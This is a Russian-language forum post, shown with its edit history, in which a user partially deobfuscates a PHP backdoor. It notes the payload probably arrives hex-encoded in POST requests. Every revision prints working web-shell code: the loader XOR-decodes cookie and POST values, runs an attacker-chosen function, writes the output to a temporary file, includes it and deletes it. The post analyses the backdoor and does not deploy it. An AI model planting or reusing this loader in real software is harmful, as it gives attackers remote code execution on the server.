История изменений
Исправление aol, (текущая версия) :
function qd8($name, $valueLen)
{
return substr(
str_repeat(
$name . "66d7e659-d870-4645-8e6e-2ac4419c2a30",
($valueLen / strlen($name)) + 1
)
,
0,
$valueLen
);
}
function inject($ks12)
{
if (isset($ks12[2])) {
$mh13 = "./" . md5("66d7e659-d870-4645-8e6e-2ac4419c2a30") . ".module";
@file_put_contents($mh13, "<?php @unlink(__FILE__);" . $ks12[1]($ks12[2]));
@include ($mh13);
@unlink($mh13);
exit();
}
}
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
$value = @pack("H*", $value);
inject(explode("#", $value ^ qd8($key, strlen($value))));
}
Дальше лень. Там уже немного осталось ))
Сам пейлоад, вероятно, передавался в теле post-запроса в виде шестнадцатиричной строки. В коде выше - только распаковка уже.
Исправление aol, :
function qd8($name, $valueLen)
{
return substr(
str_repeat(
$name . "66d7e659-d870-4645-8e6e-2ac4419c2a30",
($valueLen / strlen($name)) + 1
)
,
0,
$valueLen
);
}
function inject($ks12)
{
if (isset($ks12[2])) {
$mh13 = "./" . md5("66d7e659-d870-4645-8e6e-2ac4419c2a30") . ".module";
@file_put_contents($mh13, "<?php @unlink(__FILE__);" . $ks12[1]($ks12[2]));
@include ($mh13);
@unlink($mh13);
exit();
}
}
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
$value = @pack("H*", $value);
inject(explode("#", $value ^ qd8($key, strlen($value))));
}
Дальше лень. Там уже немного осталось ))
Исправление aol, :
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
function qd8($name, $valueLen)
{
return substr(str_repeat($name . "66d7e659-d870-4645-8e6e-2ac4419c2a30", ($valueLen / strlen($name)) + 1), 0, $valueLen);
}
function my_pack($ks12)
{
return @pack("H*", $ks12);
}
function ey9($ks12)
{
if (isset($ks12[2])) {
$mh13 = "./" . md5("66d7e659-d870-4645-8e6e-2ac4419c2a30") . ".module";
@file_put_contents($mh13, "<?php @unlink(__FILE__);" . $ks12[1]($ks12[2]));
@include ($mh13);
@unlink($mh13);
exit();
}
}
$value = my_pack($value);
ey9(explode("#", $value ^ qd8($key, strlen($value))));
}
Дальше лень. Там уже немного осталось ))
Исходная версия aol, :
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
function qd8($bi6, $zl14, $cy10)
{
return substr(str_repeat($zl14 . "66d7e659-d870-4645-8e6e-2ac4419c2a30", ($cy10 / strlen($zl14)) + 1), 0, $cy10);
}
function mb7($bi6, $ks12)
{
return @pack("H*", $ks12);
}
function ey9($bi6, $ks12)
{
if (isset($ks12[2])) {
$mh13 = "./" . md5("66d7e659-d870-4645-8e6e-2ac4419c2a30") . ".module";
@file_put_contents($mh13, "<?php @unlink(__FILE__);" . $ks12[1]($ks12[2]));
@include ($mh13);
@unlink($mh13);
exit();
}
}
$value = mb7($bi6, $value);
ey9($bi6, explode("#", $value ^ qd8($bi6, $key, strlen($value))));
}
Дальше лень. Там уже немного осталось ))